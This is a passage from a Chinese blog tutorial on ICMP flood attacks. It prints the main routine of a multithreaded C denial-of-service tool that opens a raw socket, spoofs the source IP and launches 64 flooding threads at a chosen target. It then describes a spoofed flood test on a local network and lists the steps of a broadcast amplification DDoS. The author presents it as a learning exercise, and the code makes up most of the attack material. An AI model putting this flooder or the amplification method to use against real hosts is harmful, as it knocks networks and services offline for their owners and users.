Linux--ICMP洪水攻击的实例介绍


当前第2页 返回上一页

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

int main(int argc, char* argv[])

{

  struct hostent* host = NULL;

  struct protoent* protocol = NULL;

  int i;

  alive = 1;

  pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包 

  int err = 0;

 

  if(argc < 2)

  {

    printf("Invalid input!\n");

    return -1;

  }

 

  signal(SIGINT, Dos_Sig);

 

  protocol = getprotobyname(PROTO_NAME);

  if(protocol == NULL)

  {

    printf("Fail to getprotobyname!\n");

    return -1;

  }

 

  PROTO_ICMP = protocol->p_proto;

 

  dest = inet_addr(argv[1]);

 

  if(dest == INADDR_NONE)

  {

    host = gethostbyname(argv[1]);

    if(host == NULL)

    {

      printf("Invalid IP or Domain name!\n");

      return -1;

    }

    memcpy((char*)&dest, host->h_addr, host->h_length);

 

  }

 

  rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);

  if(rawsock < 0)

  {

    printf("Fait to create socket!\n");

    return -1;

  }

 

  setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

 

  printf("ICMP FLOOD ATTACK START\n");

 

  for(i=0;i<THREAD_MAX_NUM;i++)

  {

    err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);

    if(err)

    {

      printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);     

    }

  }

 

  for(i=0;i<THREAD_MAX_NUM;i++)

  {

    pthread_join(attack_thread[i], NULL);  //等待线程结束

  }

 

  printf("ICMP ATTACK FINISHI!\n");

 

  close(rawsock);

 

  return 0;

}

三、实验

本次实验本着学习的目的,想利用自己手上的设备,想进一步理解网络和协议的应用,所以攻击的幅度比较小,时间也就几秒,不对任何设备造成影响。

再说一下我们的攻击步骤:我们使用主机172.0.5.183作为自己的攻击主机,并将自己伪装成主机172.0.5.182,对主机172.0.5.9发起ICMP洪水攻击。

攻击开始

我们观察一下”受害者“那边的情况。在短短5秒里,正确收到并交付上层处理的包也高达7万多个了。我也不敢多搞事,避免影响机器工作。

使用wireshark抓包再瞧一瞧,满满的ICMP包啊,看来量也是很大的。ICMP包的源地址显示为172.0.5.182(我们伪装的地址),它也把echo reply回给了172.0.5.182。主机172.0.5.182肯定会想,莫名其妙啊,怎么收到这么多echo reply包。

攻击实验做完了。

现在更为流行的是DDOS攻击,其威力更为强悍,策略更为精巧,防御难度也更加高。
其实,这种DDoS攻击也是在DOS的基础上发起的,具体步骤如下:

1. 攻击者向“放大网络”广播echo request报文
2. 攻击者指定广播报文的源IP为被攻击主机
3. “放大网络”回复echo reply给被攻击主机
4. 形成DDoS攻击场景

这里的“放大网络”可以理解为具有很多主机的网络,这些主机的操作系统需要支持对目的地址为广播地址的某种ICMP请求数据包进行响应。

攻击策略很精妙,简而言之,就是将源地址伪装成攻击主机的IP,然后发广播的给所有主机,主机们收到该echo request后集体向攻击主机回包,造成群起而攻之的情景。

以上就是Linux--ICMP洪水攻击的实例介绍的详细内容,更多文章请关注木庄网络博客

返回前面的内容

相关阅读 >>

linux中systemctl命令详细介绍

linux下vsftpd的安装及配置介绍

linux本地内核提权漏洞介绍

linux系统加固方法介绍

linux各个系统之间的区别介绍

Linux--ICMP洪水攻击的实例介绍

linux无锁化的实例详解

powershell和bash的定义与使用

Linux--ICMP洪水攻击的实例介绍

shell关系运算符介绍

更多相关阅读请进入《Linux--ICMP》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...